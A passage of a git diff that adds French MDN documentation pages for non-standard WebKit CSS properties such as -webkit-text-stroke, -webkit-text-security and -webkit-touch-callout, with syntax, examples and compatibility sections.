+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification. Elle est documentée dans <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/css/property/-webkit-overflow-scrolling">la référence CSS de Safari</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-overflow-scrolling")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://css-tricks.com/snippets/css/momentum-scrolling-on-ios-overflow-elements/">L'article de CSS-Tricks sur cette fonctionnalité, avec une démonstration (en anglais)</a></li>
+ <li><a href="https://www.smashingmagazine.com/2018/08/scroll-bouncing-websites/">Article de Smashing Magazine (en anglais) : décrire l'effet du rebondissement du scroll et le fonctionnement dans les différents navigateurs</a></li>
+</ul>
diff --git a/files/fr/web/css/-webkit-print-color-adjust/index.html b/files/fr/web/css/-webkit-print-color-adjust/index.html
new file mode 100644
index 0000000000..b7f3904833
--- /dev/null
+++ b/files/fr/web/css/-webkit-print-color-adjust/index.html
@@ -0,0 +1,63 @@
+---
+title: '-webkit-print-color-adjust'
+slug: Web/CSS/-webkit-print-color-adjust
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-print-color-adjust
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-print-color-adjust</code></strong> est une extension non-standard qui peut être utilisée pour forcer l'impression des images et couleurs utilisées en arrière-plan pour les navigateurs basés sur WebKit.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+-webkit-print-color-adjust: economy;
+-webkit-print-color-adjust: exact;
+
+/* Valeurs globales */
+-webkit-print-color-adjust: inherit;
+-webkit-print-color-adjust: initial;
+-webkit-print-color-adjust: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>La propriété <code>-webkit-print-color-adjust</code> peut être définie avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>economy</code></dt>
+ <dd>Le comportement normal : les images et couleurs d'arrière-plan sont uniquement imprimées si l'utilisateur a explicitement permis cette impression dans la boîte de dialogue pour les réglages d'impression.</dd>
+ <dt><code>exact</code></dt>
+ <dd>Les images et couleurs d'arrière-plan de l'élément auquel la règle CSS est appliquée seront toujours imprimées, les réglages d'impression sont donc surchargés.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">/* Force l'article à être imprimé en noir et blanc */
+article {
+  -webkit-print-color-adjust: exact;
+  background: #222;
+  color: #eee;
+}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification. Il existe <a href="https://wiki.csswg.org/ideas/print-backgrounds">une proposition sur le wiki du groupe de travail CSS</a> pour standardiser cette propriété.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-print-color-adjust")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=64583">Bug WebKit 64583</a> : Ajout d'une propriété CSS permettant de contrôler l'impression des arrière-plans des éléments.</li>
+ <li>Wiki du groupe de travail CSS : <a href="https://wiki.csswg.org/ideas/print-backgrounds">print-backgrounds</a> - une proposition de standardisation pour cette propriété.</li>
+ <li>La spécification du module des couleurs CSS (CSS Color) de niveau 4 ajoute la propriété <code><a href="https://drafts.csswg.org/css-color-4/#color-adjust">color-adjust</a></code> pour standardiser cette propriété.</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-tap-highlight-color/index.html b/files/fr/web/css/-webkit-tap-highlight-color/index.html
new file mode 100644
index 0000000000..e2abe32c3c
--- /dev/null
+++ b/files/fr/web/css/-webkit-tap-highlight-color/index.html
@@ -0,0 +1,40 @@
+---
+title: '-webkit-tap-highlight-color'
+slug: Web/CSS/-webkit-tap-highlight-color
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-tap-highlight-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-tap-highlight-color</code></strong> est une propriété non-standard qui permet de définir la couleur utilisée pour surligner le lien et indiquer qu'il a bien été activé/touché par l'utilisateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">-webkit-tap-highlight-color: red;
+-webkit-tap-highlight-color: transparent; /* pour retirer la mise en avant */
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>La couleur utilisée pour surligner le lien lorsqu'il est touché.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification. Apple décrit cette propriété dans <a href="https://developer.apple.com/library/mac/documentation/AppleApplications/Reference/SafariWebContent/AdjustingtheTextSize/AdjustingtheTextSize.html#//apple_ref/doc/uid/TP40006510-SW5">le guide Safari pour le contenu web</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Cette propriété est prise en charge par WebKit/Safari, Blink/Chrome ainsi que par certaines versions d'Internet Explorer et Microsoft Edge.</p>
diff --git a/files/fr/web/css/-webkit-text-fill-color/index.html b/files/fr/web/css/-webkit-text-fill-color/index.html
new file mode 100644
index 0000000000..886519717f
--- /dev/null
+++ b/files/fr/web/css/-webkit-text-fill-color/index.html
@@ -0,0 +1,101 @@
+---
+title: '-webkit-text-fill-color'
+slug: Web/CSS/-webkit-text-fill-color
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-text-fill-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-text-fill-color</code></strong> définit la couleur utilisée pour dessiner le contenu des lettres qui forment un texte. Si cette propriété n'est pas définie, c'est la valeur de la propriété {{cssxref("color")}} qui sera utilisée.</p>
+
+<pre class="brush: css no-line-numbers">/* Valeurs de couleurs */
+/* Type &lt;color&gt;        */
+-webkit-text-fill-color: red;
+-webkit-text-fill-color: #000000;
+-webkit-text-fill-color: rgb(100, 200, 0);
+
+/* Valeurs globales */
+-webkit-text-fill-color: inherit;
+-webkit-text-fill-color: initial;
+-webkit-text-fill-color: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>La couleur utilisée pour colorer les lettres du texte.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4]">p {
+  margin: 0;
+  font-size: 3em;
+  -webkit-text-fill-color: green;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Ce texte est vert.&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Example", "380px", "60px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#the-webkit-text-fill-color', '-webkit-text-fill-color')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Définition initiale dans un standard.</td>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266--webkit-text-fill-color" hreflang="en" lang="en">Référence CSS Safari<br>
+    <small lang="en-US">'-webkit-text-fill-color' dans ce document.</small></a></td>
+   <td>Documentation non-officielle, non-standard.</td>
+   <td>Documentation initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-text-fill-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.webkit.org/blog/85/introducing-text-stroke/">Le billet de <em>Surfin' Safari</em> qui annonce cette fonctionnalité (en anglais)</a></li>
+ <li><a href="https://css-tricks.com/adding-stroke-to-web-text/">L'article de CSS-Tricks qui décrit cette fonctionnalité (en anglais)</a></li>
+ <li>{{cssxref("-webkit-text-stroke-color")}}</li>
+ <li>{{cssxref("-webkit-text-stroke-width")}}</li>
+ <li>{{cssxref("-webkit-text-stroke")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-text-security/index.html b/files/fr/web/css/-webkit-text-security/index.html
new file mode 100644
index 0000000000..290fc9d2b7
--- /dev/null
+++ b/files/fr/web/css/-webkit-text-security/index.html
@@ -0,0 +1,54 @@
+---
+title: '-webkit-text-security'
+slug: Web/CSS/-webkit-text-security
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-text-security
+---
+<div>{{CSSRef}} {{Non-standard_header}}</div>
+
+<p><code><strong>-webkit-text-security</strong></code> est une propriété CSS non-standard qui permet de masquer les caractères saisis dans un camp d'un formulaire (ex. {{HTMLElement("input")}} ou {{HTMLElement("textarea")}}) en les remplaçant par une forme géométrique. Cette propriété n'affecte que les champs qui ne sont pas de type <code>password</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">-webkit-text-security: circle;
+-webkit-text-security: disc;
+-webkit-text-security: square;
+-webkit-text-security: none;
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>En utilisant un navigateur qui prend en charge cette propriété et en saisissant des caractères dans le champs, vous pourrez les voir remplacées par des carrés.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;label for="name"&gt;Nom :&lt;/label&gt;
+&lt;input type="text" name="name" id="name" /&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">input {
+  -webkit-text-security: square;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Example")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété WebKit est spécifique à ce moteur et ne fait partie d'aucune spécification<em>.</em></p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>Cette propriété est prise en charge par les navigateurs basés sur WebKit ou Blink.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/WebKit_Extensions">Les extensions CSS spécifiques à WebKit</a></li>
+</ul>
diff --git a/files/fr/web/css/-webkit-text-stroke-color/index.html b/files/fr/web/css/-webkit-text-stroke-color/index.html
new file mode 100644
index 0000000000..fe756244da
--- /dev/null
+++ b/files/fr/web/css/-webkit-text-stroke-color/index.html
@@ -0,0 +1,112 @@
+---
+title: '-webkit-text-stroke-color'
+slug: Web/CSS/-webkit-text-stroke-color
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-text-stroke-color
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-text-stroke-color</code></strong> permet de définir la couleur de la ligne utilisée pour le contour du text. Si cette propriété n'est pas définie, c'est la valeur de {{cssxref("color")}} qui sera utilisée.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de couleur */
+/* Type &lt;color&gt;       */
+-webkit-text-stroke-color: red;
+-webkit-text-stroke-color: #e08ab4;
+-webkit-text-stroke-color: rgb(200, 100, 0);
+
+/* Valeurs globales */
+-webkit-text-stroke-color: inherit;
+-webkit-text-stroke-color: initial;
+-webkit-text-stroke-color: unset;
+</pre>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>La couleur du contour pour les lettres.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Texte avec un contour&lt;/p&gt;
+&lt;input type="color" value="#ff0000"&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  margin: 0;
+  font-size: 4em;
+  -webkit-text-stroke-width: 3px;
+  -webkit-text-stroke-color: #ff0000;
+  /* Cette valeur peut être modifiée */
+}
+</pre>
+
+<div class="hidden">
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var colorPicker = document.querySelector("input");
+colorPicker.addEventListener("change", function(evt) {
+  document.querySelector("p").style.webkitTextStrokeColor = evt.target.value;
+});</pre>
+</div>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "500px", "100px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#the-webkit-text-stroke-color', '-webkit-text-stroke-color')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Définition initiale dans un standard.</td>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266--webkit-text-stroke-color" hreflang="en" lang="en">Référence CSS Safari<br>
+    <small lang="en-US">'-webkit-text-stroke-color' dans ce document.</small></a></td>
+   <td>Documentation non-officielle, non-standard.</td>
+   <td>Documentation initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-text-stroke-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.webkit.org/blog/85/introducing-text-stroke/">Le billet de <em>Surfin' Safari</em> qui annonce cette fonctionnalité (en anglais)</a></li>
+ <li><a href="https://css-tricks.com/adding-stroke-to-web-text/">L'article de CSS-Tricks à propos de cette fonctionnalité (en anglais)</a></li>
+ <li>{{cssxref("-webkit-text-fill-color")}}</li>
+ <li>{{cssxref("-webkit-text-stroke-width")}}</li>
+ <li>{{cssxref("-webkit-text-stroke")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-text-stroke-width/index.html b/files/fr/web/css/-webkit-text-stroke-width/index.html
new file mode 100644
index 0000000000..15aa0db12c
--- /dev/null
+++ b/files/fr/web/css/-webkit-text-stroke-width/index.html
@@ -0,0 +1,121 @@
+---
+title: '-webkit-text-stroke-width'
+slug: Web/CSS/-webkit-text-stroke-width
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-text-stroke-width
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-text-stroke-width</code></strong> permet de définir l'épaisseur du trait qui entoure les lettres du texte.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css">/* Valeurs avec un mot-clé */
+-webkit-text-stroke-width: thin;
+-webkit-text-stroke-width: medium;
+-webkit-text-stroke-width: thick;
+
+/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+-webkit-text-stroke-width: 2px;
+-webkit-text-stroke-width: 0.1em;
+-webkit-text-stroke-width: 1mm;
+-webkit-text-stroke-width: 5pt;
+
+/* Valeurs globales */
+-webkit-text-stroke-width: inherit;
+-webkit-text-stroke-width: initial;
+-webkit-text-stroke-width: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;line-width&gt;</code></dt>
+ <dd>La largeur du trait utilisé pour entourer les lettres du texte.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  margin: 0;
+  font-size: 4em;
+  -webkit-text-stroke-color: red;
+}
+
+#thin {
+  -webkit-text-stroke-width: thin;
+}
+
+#medium {
+  -webkit-text-stroke-width: 3px;
+}
+
+#thick {
+  -webkit-text-stroke-width: 1.5mm;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p id="thin"&gt;Trait fin&lt;/p&gt;
+&lt;p id="medium"&gt;Trait moyen&lt;/p&gt;
+&lt;p id="thick"&gt;Trait épais&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", "450px", "230px")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#the-webkit-text-stroke-width', '-webkit-text-stroke-width')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Définition initiale dans un standard.</td>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266--webkit-text-stroke-width" hreflang="en" lang="en">Référence CSS Safari<br>
+    <small lang="en-US">'-webkit-text-stroke-width' dans ce document.</small></a></td>
+   <td>Documentation non-officielle, non-standard.</td>
+   <td>Documentation initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-text-stroke-width")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.webkit.org/blog/85/introducing-text-stroke/">Le billet de <em>Surfin' Safari</em> qui annonce cette fonctionnalité (en anglais)</a></li>
+ <li><a href="https://css-tricks.com/adding-stroke-to-web-text/">L'article de CSS-Tricks à propos de cette fonctionnalité (en anglais)</a></li>
+ <li>{{cssxref("-webkit-text-stroke-color")}}</li>
+ <li>{{cssxref("-webkit-text-stroke")}}</li>
+ <li>{{cssxref("-webkit-text-fill-color")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-text-stroke/index.html b/files/fr/web/css/-webkit-text-stroke/index.html
new file mode 100644
index 0000000000..5ad00e1c52
--- /dev/null
+++ b/files/fr/web/css/-webkit-text-stroke/index.html
@@ -0,0 +1,98 @@
+---
+title: '-webkit-text-stroke'
+slug: Web/CSS/-webkit-text-stroke
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-text-stroke
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-text-stroke</code></strong> permet de définir l'épaisseur et la couleur du contour utilisé pour les lettres d'un texte. Cette propriété est une propriété raccourcie qui permet de définir les propriétés {{cssxref("-webkit-text-stroke-width")}} et {{cssxref("-webkit-text-stroke-color")}}.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* Valeurs de largeur et de couleur */
+-webkit-text-stroke: 4px navy;
+
+/* Valeurs globales */
+-webkit-text-stroke: inherit;
+-webkit-text-stroke: initial;
+-webkit-text-stroke: unset;
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>L'épaisseur du contour (cf. {{cssxref("&lt;length&gt;")}}).</dd>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>La couleur du contour (cf. {{cssxref("&lt;color&gt;")}}).</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[4] notranslate">#exemple {
+  font-size: 3em;
+  margin: 0;
+  -webkit-text-stroke: 2px red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p id="exemple"&gt;Le contour de ce texte est rouge.&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 600, 60)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compat', '#the-webkit-text-stroke', '-webkit-text-stroke')}}</td>
+   <td>{{Spec2('Compat')}}</td>
+   <td>Définition initiale dans un standard.</td>
+  </tr>
+  <tr>
+   <td><a class="external external-icon" href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-_webkit_text_stroke" hreflang="en" lang="en">Référence CSS Safari<br>
+    <small lang="en-US">'-webkit-text-stroke' dans ce document.</small></a></td>
+   <td>Documentation non-officielle, non-standard.</td>
+   <td>Documentation initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-text-stroke")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.webkit.org/blog/85/introducing-text-stroke/">Le billet de <em>Surfin' Safari</em> qui annonce cette fonctionnalité (en anglais)</a></li>
+ <li><a href="https://css-tricks.com/adding-stroke-to-web-text/">L'article de CSS-Tricks décrivant cette fonctionnalité (en anglais)</a></li>
+ <li>{{cssxref("-webkit-text-stroke-width")}}</li>
+ <li>{{cssxref("-webkit-text-stroke-color")}}</li>
+ <li>{{cssxref("-webkit-text-fill-color")}}</li>
+</ul>
diff --git a/files/fr/web/css/-webkit-touch-callout/index.html b/files/fr/web/css/-webkit-touch-callout/index.html
new file mode 100644
index 0000000000..3e6acd191c
--- /dev/null
+++ b/files/fr/web/css/-webkit-touch-callout/index.html
@@ -0,0 +1,56 @@
+---
+title: '-webkit-touch-callout'
+slug: Web/CSS/-webkit-touch-callout
+tags:
+  - CSS
+  - Non-standard
+  - Propriété
+  - Reference
+translation_of: Web/CSS/-webkit-touch-callout
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<p>La propriété <strong><code>-webkit-touch-callout</code></strong> permet de contrôler l'affichage de la légende (<em>callout</em>) affichée par défaut lorsque le toucher est maintenu sur un élément.</p>
+
+<p>Lorsqu'un élément est touché et que la pression est maintenue sur iOS, Safari affiche une bulle d'informations à propos du lien. Cette propriété permet de désactiver ce fonctionnement.</p>
+
+<pre class="brush:css no-line-numbers">/* Valeurs avec un mot-clé */
+-webkit-touch-callout: default;
+-webkit-touch-callout: none;
+
+/* Valeurs globales */
+-webkit-touch-callout: initial;
+-webkit-touch-callout: inherit;
+-webkit-touch-callout: unset;</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>default</code></dt>
+ <dd>La légende par défaut est activée.</dd>
+ <dt><code>none</code></dt>
+ <dd>La légende est désactivée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: css">.exemple {
+  -webkit-touch-callout: none;
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<p>Cette propriété est une propriété propriétaire liée à WebKit/Blink et ne fait partie d'aucune spécification. Elle est décrite dans <a href="https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariCSSRef/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-_webkit_touch_callout">la référence CSS de Safari</a>.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.-webkit-touch-callout")}}</p>
diff --git a/files/fr/web/css/@charset/index.html b/files/fr/web/css/@charset/index.html
new file mode 100644
index 0000000000..9de828ed03
--- /dev/null
+++ b/files/fr/web/css/@charset/index.html
@@ -0,0 +1,82 @@
+---
+title: '@charset'
+slug: Web/CSS/@charset
+tags:
+  - CSS
+  - Reference
+  - Règle @
+translation_of: Web/CSS/@charset
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/R%C3%A8gles_@">règle @</a>  <strong><code>@charset</code></strong> définit l'encodage des caractères utilisés dans la feuille de style. Cette règle doit être le premier élément de la feuille de style (aucun caractère ne doit être écrit avant). Cette règle ne fait pas partie des <a href="/fr/Apprendre/CSS/Les_bases/La_syntaxe#Les_instructions_CSS">instructions imbriquées</a> et ne peut donc pas être utilisée <a href="/fr/docs/Web/CSS/Règles_@#R.C3.A8gles_conditionnelles_de_groupe">à l'intérieur des groupes conditionnels</a>. Si plusieurs règles <code>@charset</code> sont définies, seule la première sera utilisée. Cette règle ne pourra pas être utilisée au sein d'un attribut <code>style</code> d'un élément HTML ou avec l'élément {{HTMLElement("style")}} car c'est l'encodage du document HTML qui est alors pris en compte.</p>
+
+<pre class="brush: css no-line-numbers">@charset "utf-8";</pre>
+
+<p>Cette règle @ s'avère notamment utile lorsqu'on utilise des caractères non-ASCII pour certaines propriétés CSS telles que {{cssxref("content")}}.</p>
+
+<p>Le moteur dispose de différentes méthodes pour déterminer l'encodage d'une feuille de style. Il utilisera ces méthodes dans l'ordre qui suit et s'arrêtera dès qu'un résultat sera obtenu (autrement dit, les règles qui suivent sont triées par priorité décroissante) :</p>
+
+<ol>
+ <li>La valeur du caractère indiquant <a href="https://fr.wikipedia.org/wiki/Indicateur_d'ordre_des_octets">l'ordre des octets Unicode</a> qui est placé au début du fichier (le BOM)</li>
+ <li>La valeur fournie par l'attribut <code>charset</code> de l'en-tête HTTP <code>Content-Type</code> ou l'information équivalente dans le protocole utilisé pour servir la feuille de style.</li>
+ <li>La règle @ CSS <code>@charset</code>.</li>
